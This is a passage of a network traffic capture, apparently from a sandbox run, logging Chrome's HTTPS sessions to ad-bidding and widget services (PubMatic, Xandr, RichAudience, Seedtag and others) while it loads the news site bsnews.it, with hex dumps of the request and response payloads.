2024-03-28 08:51:19 UTC	254	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Content-Encoding: gzip
2024-03-28 08:51:19 UTC	22	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 03 8b 8e 05 00 29 bb 4c 0d 02 00 00 00 Data Ascii: )L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	49981	3.126.34.182	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	537	OUT	GET /www/delivery/asyncjs.php HTTP/1.1 Host: adx.4strokemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	590	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: text/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.22.1 X-Powered-By: PHP/8.0.30 ETag: 6609ba8ff88606794e22ff360400bcea Expire: Thu, 28 Mar 2024 09:51:19 GMT Cache-Control: private, max-age=3600 P3P: policyref="http://4strokemedia.com/privacy.html", CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAGEO=2%7CUS%7CNA%7C%7CWashington%7C20376%7C38.8701%7C-76.9948%7C1000%7CAmerica%2FNew_York%7C511%7CDC%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C; path=/; secure; SameSite=none
2024-03-28 08:51:19 UTC	4447	IN	Data Raw: 31 31 35 37 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 64 2c 63 29 7b 76 61 72 20 61 3d 22 36 36 30 39 62 61 38 66 66 38 38 36 30 36 37 39 34 65 32 32 66 66 33 36 30 34 30 30 62 63 65 61 22 3b 63 2e 72 65 76 69 76 65 41 73 79 6e 63 3d 63 2e 72 65 76 69 76 65 41 73 79 6e 63 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 74 79 70 65 6f 66 20 65 2e 43 75 73 74 6f 6d 45 76 65 6e 74 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 66 75 6e 63 74 69 6f 6e 20 67 28 69 2c 6a 29 7b 6a 3d 6a 7c 7c 7b 62 75 62 62 6c 65 73 3a 66 61 6c 73 65 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 66 61 6c 73 65 2c 64 65 74 61 69 6c 3a 75 6e 64 65 66 69 6e 65 64 7d 3b 76 61 72 20 68 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 Data Ascii: 1157(function(d,c){var a="6609ba8ff88606794e22ff360400bcea";c.reviveAsync=c.reviveAsync\|\|{};(function(e){if(typeof e.CustomEvent==="function"){return false}function g(i,j){j=j\|\|{bubbles:false,cancelable:false,detail:undefined};var h=document.createEvent
2024-03-28 08:51:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50005	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	589	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 2089 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	2089	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 31 31 36 31 35 38 37 37 37 34 39 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 35 31 32 63 61 33 62 62 66 38 33 65 34 34 64 22 2c 22 74 61 67 69 64 22 3a 22 32 35 36 30 35 39 38 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 61 64 75 31 22 7d 7d 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 Data Ascii: {"id":"1711615877749","at":1,"cur":["USD"],"imp":[{"id":"512ca3bbf83e44d","tagid":"2560598","secure":1,"ext":{"data":{"pbadslot":"adu1"}},"bidfloorcur":"USD","banner":{"w":300,"h":250,"format":[{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":72
2024-03-28 08:51:19 UTC	223	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Cache-Control: no-cache, no-store, must-revalidate Date: Thu, 28 Mar 2024 08:51:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	49995	68.67.179.153	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	560	OUT	POST /ut/v3/prebid HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive Content-Length: 1668 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1668	OUT	Data Raw: 7b 22 74 61 67 73 22 3a 5b 7b 22 73 69 7a 65 73 22 3a 5b 7b 22 77 69 64 74 68 22 3a 33 30 30 2c 22 68 65 69 67 68 74 22 3a 32 35 30 7d 2c 7b 22 77 69 64 74 68 22 3a 33 30 30 2c 22 68 65 69 67 68 74 22 3a 36 30 30 7d 2c 7b 22 77 69 64 74 68 22 3a 36 34 30 2c 22 68 65 69 67 68 74 22 3a 33 36 30 7d 2c 7b 22 77 69 64 74 68 22 3a 33 32 30 2c 22 68 65 69 67 68 74 22 3a 34 38 30 7d 2c 7b 22 77 69 64 74 68 22 3a 37 32 30 2c 22 68 65 69 67 68 74 22 3a 37 32 30 7d 2c 7b 22 77 69 64 74 68 22 3a 37 32 38 2c 22 68 65 69 67 68 74 22 3a 39 30 7d 2c 7b 22 77 69 64 74 68 22 3a 39 38 30 2c 22 68 65 69 67 68 74 22 3a 39 30 7d 2c 7b 22 77 69 64 74 68 22 3a 33 32 30 2c 22 68 65 69 67 68 74 22 3a 35 30 7d 2c 7b 22 77 69 64 74 68 22 3a 33 32 30 2c 22 68 65 69 67 68 74 22 3a 31 Data Ascii: {"tags":[{"sizes":[{"width":300,"height":250},{"width":300,"height":600},{"width":640,"height":360},{"width":320,"height":480},{"width":720,"height":720},{"width":728,"height":90},{"width":980,"height":90},{"width":320,"height":50},{"width":320,"height":1
2024-03-28 08:51:19 UTC	1559	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 262 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 1f271d75-050d-4717-8bf5-572b1f6d2366 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:19 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:19 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:19 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:19 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-03-28 08:51:19 UTC	262	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 30 2e 30 22 2c 22 74 61 67 73 22 3a 5b 7b 22 75 75 69 64 22 3a 22 32 37 62 34 64 65 39 63 63 65 37 38 66 31 66 22 2c 22 74 61 67 5f 69 64 22 3a 31 38 31 35 37 36 37 39 2c 22 61 75 63 74 69 6f 6e 5f 69 64 22 3a 22 39 30 35 35 31 39 33 37 31 32 37 34 34 32 37 37 39 37 36 22 2c 22 6e 6f 62 69 64 22 3a 74 72 75 65 2c 22 61 64 5f 70 72 6f 66 69 6c 65 5f 69 64 22 3a 31 35 35 35 30 33 31 7d 2c 7b 22 75 75 69 64 22 3a 22 32 38 39 31 63 63 32 65 64 37 62 64 32 34 39 22 2c 22 74 61 67 5f 69 64 22 3a 31 38 31 35 35 37 35 31 2c 22 61 75 63 74 69 6f 6e 5f 69 64 22 3a 22 35 38 39 34 31 37 38 37 34 32 31 37 35 33 39 37 34 36 33 22 2c 22 6e 6f 62 69 64 22 3a 74 72 75 65 2c 22 61 64 5f 70 72 6f 66 69 6c 65 5f 69 64 22 3a 31 35 35 Data Ascii: {"version":"3.0.0","tags":[{"uuid":"27b4de9cce78f1f","tag_id":18157679,"auction_id":"9055193712744277976","nobid":true,"ad_profile_id":1555031},{"uuid":"2891cc2ed7bd249","tag_id":18155751,"auction_id":"5894178742175397463","nobid":true,"ad_profile_id":155

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	49989	208.115.237.110	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	610	OUT	POST /hb/ HTTP/1.1 Host: shb.richaudience.com Connection: keep-alive Content-Length: 840 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376
2024-03-28 08:51:19 UTC	840	OUT	Data Raw: 7b 22 70 69 64 22 3a 22 4d 50 5f 30 36 45 68 43 62 63 66 5a 4b 22 2c 22 73 75 70 70 6c 79 54 79 70 65 22 3a 22 73 69 74 65 22 2c 22 61 75 63 74 69 6f 6e 49 64 22 3a 6e 75 6c 6c 2c 22 62 69 64 49 64 22 3a 22 31 34 37 62 36 64 64 63 65 33 65 30 35 64 66 22 2c 22 42 69 64 52 65 71 75 65 73 74 73 43 6f 75 6e 74 22 3a 31 2c 22 62 69 64 64 65 72 22 3a 22 72 69 63 68 61 75 64 69 65 6e 63 65 22 2c 22 62 69 64 64 65 72 52 65 71 75 65 73 74 49 64 22 3a 22 31 32 35 39 38 61 65 33 37 61 36 33 33 33 63 22 2c 22 74 61 67 49 64 22 3a 22 61 64 75 32 22 2c 22 73 69 7a 65 73 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 Data Ascii: {"pid":"MP_06EhCbcfZK","supplyType":"site","auctionId":null,"bidId":"147b6ddce3e05df","BidRequestsCount":1,"bidder":"richaudience","bidderRequestId":"12598ae37a6333c","tagId":"adu2","sizes":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"
2024-03-28 08:51:19 UTC	330	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400
2024-03-28 08:51:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	50007	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:21 UTC	687	OUT	GET /likes/?ver=13.2.2 HTTP/1.1 Host: widgets.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:21 GMT Content-Type: text/html Content-Length: 145 Connection: close Last-Modified: Thu, 08 Feb 2024 09:35:36 GMT ETag: "65c4a068-91" X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 1 Accept-Ranges: bytes
2024-03-28 08:51:22 UTC	145	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 32 30 32 34 30 32 30 38 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 09 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><link rel="stylesheet" href="style.css?ver=20240208" /></head><body><div id="target"></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50011	37.19.206.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:21 UTC	683	OUT	GET /topicsapi.html?bidder=rtbhouse HTTP/1.1 Host: topics.authorizedvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:22 GMT Content-Type: text/html Content-Length: 1404 Connection: close Vary: Accept-Encoding x-guploader-uploadid: ADPycdsyfkP-Yhecc5kVf-TVfwJmDb13kgWvulhqiWOgmvTepM9OZEx57LXAJ2lIrWr5bCN62e0y9cYJ0ySuX3kRVlNMUQ expires: Thu, 13 Jul 2023 17:55:35 GMT Cache-Control: public, max-age=604800 last-modified: Mon, 26 Jun 2023 15:39:25 GMT etag: "b1da2234a554ee8bc6519a75d88402d9" x-goog-generation: 1687793965818864 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1404 x-goog-hash: crc32c=LvKeBQ== x-goog-hash: md5=sdoiNKVU7ovGUZp12IQC2Q== x-goog-storage-class: STANDARD via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Server: CDN77-Turbo X-77-NZT: EQwBJRPOBAH3zscFAA X-77-NZT-Ray: 8e305f1ce502f0ae8a2f056600e08900 X-Accel-Expires: @1711841852 X-Accel-Date: 1711237052 X-Cache: HIT X-Age: 378830 X-77-POP: ashburnUSVA X-77-Cache: HIT X-77-Age: 378830 Accept-Ranges: bytes
2024-03-28 08:51:22 UTC	1404	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 54 6f 70 69 63 73 20 41 50 49 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 41 6f 78 6f 61 6e 4f 4e 30 6d 67 36 45 6e 75 2f 4a 74 59 49 7a 47 69 41 66 5a 72 79 4a 79 59 6d 31 33 72 58 59 36 31 47 34 4a 62 39 44 48 46 7a 76 6e 68 7a 35 53 50 35 2f 42 76 4e 73 71 4b 2f 42 4c 63 6c 31 46 2b 54 69 6d 64 56 75 65 43 52 2f 70 4f 37 42 51 55 41 41 41 42 31 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 Data Ascii: <!DOCTYPE html><html lang="en"><head> <title>Topics API</title> <meta charset="utf-8"> <meta http-equiv="origin-trial" content="AoxoanON0mg6Enu/JtYIzGiAfZryJyYm13rXY61G4Jb9DHFzvnhz5SP5/BvNsqK/BLcl1F+TimdVueCR/pO7BQUAAAB1eyJvcmlnaW4iOiJodHRwc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50012	104.16.112.121	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:21 UTC	523	OUT	GET /t/9563-3051-01.js HTTP/1.1 Host: t.seedtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	402	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: EXPIRED Last-Modified: Thu, 28 Mar 2024 08:13:42 GMT Expires: Thu, 28 Mar 2024 09:11:22 GMT Cache-Control: public, max-age=1200 Server: cloudflare CF-RAY: 86b660be8e740611-IAD
2024-03-28 08:51:22 UTC	967	IN	Data Raw: 37 64 65 39 0d 0a 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 73 65 65 64 74 61 67 71 20 3d 20 77 69 6e 64 6f 77 2e 5f 73 65 65 64 74 61 67 71 20 7c 7c 20 5b 5d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 73 65 65 64 74 61 67 71 2e 70 75 73 68 28 5b 22 5f 73 65 74 49 64 22 2c 20 22 39 35 36 33 2d 33 30 35 31 2d 30 31 22 5d 29 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 73 65 65 64 74 61 67 71 2e 70 75 73 68 28 5b 22 5f 73 65 74 50 75 62 6c 69 73 68 65 72 22 2c 20 7b 22 69 22 3a 22 35 39 32 32 66 39 65 39 30 66 66 63 32 31 30 38 30 30 65 62 32 35 35 30 22 2c 22 6e 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 2c 22 63 22 3a 22 4e 65 77 73 22 2c 22 75 22 3a 22 61 63 74 69 76 65 22 2c 22 6f 22 3a 22 49 54 22 2c 22 66 22 3a 7b 7d 2c 22 65 22 3a 22 2e 73 74 2d 70 6c 61 63 65 6d 65 Data Ascii: 7de9 window._seedtagq = window._seedtagq \|\| [] window._seedtagq.push(["_setId", "9563-3051-01"]) window._seedtagq.push(["_setPublisher", {"i":"5922f9e90ffc210800eb2550","n":"bsnews.it","c":"News","u":"active","o":"IT","f":{},"e":".st-placeme
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 35 39 32 65 38 37 37 38 62 34 62 30 62 31 30 37 30 30 63 61 30 31 30 30 22 2c 22 6e 22 3a 22 73 74 61 6e 64 61 72 64 5f 31 22 2c 22 74 22 3a 22 69 6e 49 6d 61 67 65 22 2c 22 65 22 3a 22 72 65 74 75 72 6e 20 6c 69 62 2e 73 65 6c 65 63 74 28 5c 22 2e 74 64 2d 70 6f 73 74 2d 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 20 69 6d 67 5c 22 29 5b 30 5d 22 2c 22 61 22 3a 31 31 34 35 36 32 37 30 2c 22 72 22 3a 32 30 2c 22 64 22 3a 66 61 6c 73 65 2c 22 61 73 22 3a 5b 5b 36 30 30 2c 31 35 30 5d 2c 5b 31 35 30 2c 36 30 30 5d 2c 5b 31 2c 31 5d 2c 5b 36 30 30 2c 36 30 30 5d 2c 5b 33 30 30 2c 31 31 36 5d 2c 5b 31 31 2c 32 5d 2c 5b 39 33 30 2c 31 38 30 5d 2c 5b 33 30 30 2c 31 30 35 30 5d 2c 5b 31 31 2c 33 5d 2c 5b 35 38 30 2c 34 30 30 5d 5d 2c 22 70 22 3a 5b 22 43 45 44 22 Data Ascii: 592e8778b4b0b10700ca0100","n":"standard_1","t":"inImage","e":"return lib.select(\".td-post-featured-image img\")[0]","a":11456270,"r":20,"d":false,"as":[[600,150],[150,600],[1,1],[600,600],[300,116],[11,2],[930,180],[300,1050],[11,3],[580,400]],"p":["CED"
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 72 73 65 74 3d 22 75 74 66 2d 38 22 2c 63 2e 74 69 6d 65 6f 75 74 3d 31 32 30 2c 75 2e 6e 63 26 26 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 75 2e 6e 63 29 2c 63 2e 73 72 63 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 75 2e 70 2b 22 73 74 5f 22 2b 28 7b 7d 5b 6e 5d 7c 7c 6e 29 2b 22 2e 22 2b 7b 30 3a 22 33 66 63 34 38 38 36 38 63 36 66 65 36 32 30 38 63 38 66 65 22 2c 31 3a 22 61 66 63 31 62 33 39 64 66 66 31 31 36 35 32 30 38 32 38 34 22 2c 32 3a 22 62 30 66 34 33 30 64 37 61 61 63 66 30 66 31 30 38 61 63 33 22 2c 33 3a 22 64 37 35 35 33 39 33 63 39 35 66 33 31 34 31 32 30 61 37 33 22 2c 34 3a 22 39 36 37 33 39 34 34 62 31 31 34 31 35 38 32 61 33 32 38 38 22 2c 35 3a 22 65 30 36 37 30 38 32 38 66 32 34 38 61 31 Data Ascii: rset="utf-8",c.timeout=120,u.nc&&c.setAttribute("nonce",u.nc),c.src=function(n){return u.p+"st_"+({}[n]\|\|n)+"."+{0:"3fc48868c6fe6208c8fe",1:"afc1b39dff1165208284",2:"b0f430d7aacf0f108ac3",3:"d755393c95f314120a73",4:"9673944b1141582a3288",5:"e0670828f248a1
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 31 63 62 37 36 39 22 2c 35 30 3a 22 38 38 64 66 39 61 32 63 66 37 65 64 34 65 30 37 36 37 37 63 22 2c 35 31 3a 22 35 31 39 61 33 66 30 37 66 33 34 31 63 36 66 38 37 38 36 36 22 2c 35 32 3a 22 66 65 39 31 39 63 34 32 38 39 65 64 35 35 64 33 30 35 31 66 22 7d 5b 6e 5d 2b 22 2e 6a 73 22 7d 28 6e 29 3b 76 61 72 20 66 3d 6e 65 77 20 45 72 72 6f 72 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 63 2e 6f 6e 65 72 72 6f 72 3d 63 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 61 29 3b 76 61 72 20 74 3d 65 5b 6e 5d 3b 69 66 28 30 21 3d 3d 74 29 7b 69 66 28 74 29 7b 76 61 72 20 75 3d 72 26 26 28 22 6c 6f 61 64 22 3d 3d 3d 72 2e 74 79 70 65 3f 22 6d 69 73 73 69 6e 67 22 3a 72 2e 74 79 70 65 29 2c 69 3d 72 26 26 72 2e 74 61 72 67 65 74 26 Data Ascii: 1cb769",50:"88df9a2cf7ed4e07677c",51:"519a3f07f341c6f87866",52:"fe919c4289ed55d3051f"}[n]+".js"}(n);var f=new Error;o=function(r){c.onerror=c.onload=null,clearTimeout(a);var t=e[n];if(0!==t){if(t){var u=r&&("load"===r.type?"missing":r.type),i=r&&r.target&
